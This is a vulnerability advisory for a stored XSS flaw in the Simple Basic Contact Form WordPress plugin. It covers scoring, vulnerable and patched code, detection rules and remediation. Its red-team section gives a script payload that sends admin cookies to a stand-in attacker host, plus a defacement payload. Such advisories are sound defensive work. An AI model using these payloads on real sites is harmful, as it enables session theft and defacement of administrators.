CVE-2024-12716
Executive Summary
CVE-2024-12716 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Simple Basic Contact Form WordPress plugin. The vulnerability exists in versions prior to 20250114 and allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings. These scripts are then stored and executed when the settings page is viewed, even in environments where the unfiltered_html capability is disallowed (e.g., multisite installations). This flaw can lead to session hijacking, defacement, or redirection to malicious sites. The plugin is part of the WordPress ecosystem, and the attack vector is through the admin panel.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from the WordPress admin dashboard or by downloading the latest version from the repository. No supply chain compromise has been reported, but the risk of plugin-level vulnerabilities in WordPress ecosystems remains significant.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must view the settings page
- Scope: Changed (S:C) – impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires admin credentials, but in multisite environments, the impact is amplified as super admins may be targeted.
Deep Dive & Mechanics
The vulnerability stems from insufficient sanitization and escaping of plugin settings. The Simple Basic Contact Form plugin stores user-supplied data (e.g., form field labels, messages) in the WordPress options table. When these settings are rendered on the admin page, they are output without proper escaping, allowing an attacker with admin privileges to inject JavaScript.
Root Cause: The plugin uses functions like echo $value or settings_fields() without applying esc_html() or wp_kses_post() to sanitize the output. This allows stored XSS payloads to execute in the context of the admin dashboard.
Attack Flow:
- Attacker gains admin access (e.g., via credential theft or social engineering).
- Attacker navigates to the plugin settings page and injects a malicious script into a text field (e.g., "Contact Form Title").
- The script is stored in the database.
- When another admin (or the same admin) views the settings page, the script executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a phishing site.
Vulnerable vs. Patched Code
Vulnerable Code (pre-20250114):
// In settings page rendering
echo '<input type="text" name="cf_title" value="' . $options['cf_title'] . '" />';
The $options['cf_title'] is not escaped, allowing injection of "><script>alert(1)</script>.
Patched Code (20250114+):
// In settings page rendering
echo '<input type="text" name="cf_title" value="' . esc_attr( $options['cf_title'] ) . '" />';
The esc_attr() function escapes the value, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress installation with Simple Basic Contact Form plugin version < 20250114.
- Admin credentials (e.g., user with
administratorrole).
Steps:
- Log in to WordPress admin panel.
- Navigate to Settings > Simple Basic Contact Form.
- In the "Contact Form Title" field, inject the following payload:
"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- When any admin views the settings page, the script executes, exfiltrating cookies to the attacker's server.
Alternative Payload (for defacement):
"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor admin panel access logs for unusual changes to plugin settings.
- Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to
/wp-admin/options-general.php. - Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Update the plugin to version 20250114 or later.
- Restrict admin access to trusted users only.
- Enable
DISALLOW_UNFILTERED_HTMLinwp-config.phpfor multisite environments. - Regularly audit plugin settings for unexpected changes.
Indicators of Compromise (IOCs)
- File Changes: Modified plugin files (e.g.,
simple-basic-contact-form/admin/settings.php) containing unescaped output. - Database Entries: Suspicious values in
wp_optionstable undersimple_basic_contact_form_optionscontaining JavaScript. - Network Traffic: Outbound requests to unknown domains from the WordPress admin dashboard.
- Logs: Repeated admin login attempts from unusual IPs, followed by changes to plugin settings.
Detection Engineering
YARA Rule
rule CVE_2024_12716_Stored_XSS {
meta:
description = "Detects unescaped output in Simple Basic Contact Form plugin settings"
author = "Valters IT"
date = "2025-01-15"
reference = "CVE-2024-12716"
strings:
$unescaped = /echo\s+['\"].*\$options\[/
$xss_payload = /<script>|onerror=|onload=/
condition:
$unescaped and $xss_payload
}
Sigma Rule
title: CVE-2024-12716 Stored XSS in Simple Basic Contact Form
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in plugin settings POST requests
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
http.method: POST
http.url: '/wp-admin/options-general.php*'
http.body: '*simple_basic_contact_form*'
http.body: '*<script>*'
condition: selection
falsepositives:
- Legitimate admin using JavaScript in settings (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2024-12716 Stored XSS in Simple Basic Contact Form"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/options-general.php"; http.client_body; content:"simple_basic_contact_form"; http.client_body; content:"<script>"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 20250114 or later via the WordPress admin dashboard.
- If unable to update, manually patch the vulnerable file by adding
esc_attr()to all output functions inadmin/settings.php.
Long-term Measures:
- Implement a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.
- Conduct regular security audits of all plugins.
- Enforce the principle of least privilege for admin accounts.
- Use a Web Application Firewall (WAF) with XSS protection rules.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.